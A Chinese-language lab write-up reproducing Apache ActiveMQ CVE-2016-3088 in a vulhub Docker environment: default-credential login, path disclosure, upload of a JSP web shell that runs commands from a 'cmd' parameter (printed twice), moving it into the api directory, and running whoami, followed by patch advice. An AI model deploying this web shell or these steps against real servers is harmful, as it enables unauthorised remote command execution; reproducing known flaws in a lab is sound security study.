Activemq后台getshell(CVE-2016-3088)漏洞复现
0x00:漏洞原理
fileserver是Apache ActiveM提供的一个RESTful API接口,可通过GET、PUT、DELETE等HTTP请求对文件进行读写操作,设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,在文件操作过程中出现了任意文件读写漏洞。
0x01:环境搭建
这里使用vulhub 的docker /vulhub/activemq/CVE-2016-3088
拉镜像 docker-compose up -d
访问靶机8161端口即可
0x02:漏洞复现
admin/admin 登陆后台
上传文件必须知道其物理路径 访问http://192.168.150.148:8161/admin/test/systemProperties.jsp 获得当前系统路径
上传jsp小马 成功则返回204 No Content
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后将上传的文件移动到 api 目录下,成功的话,返回 204 No Content
执行命令 http://192.168.150.148:8161/api/1.jsp?cmd=whoami
0x03:漏洞修复
建议后台使用强口令
影响版本 5.x ~ 5.14.0
升级版本至5.14.0以上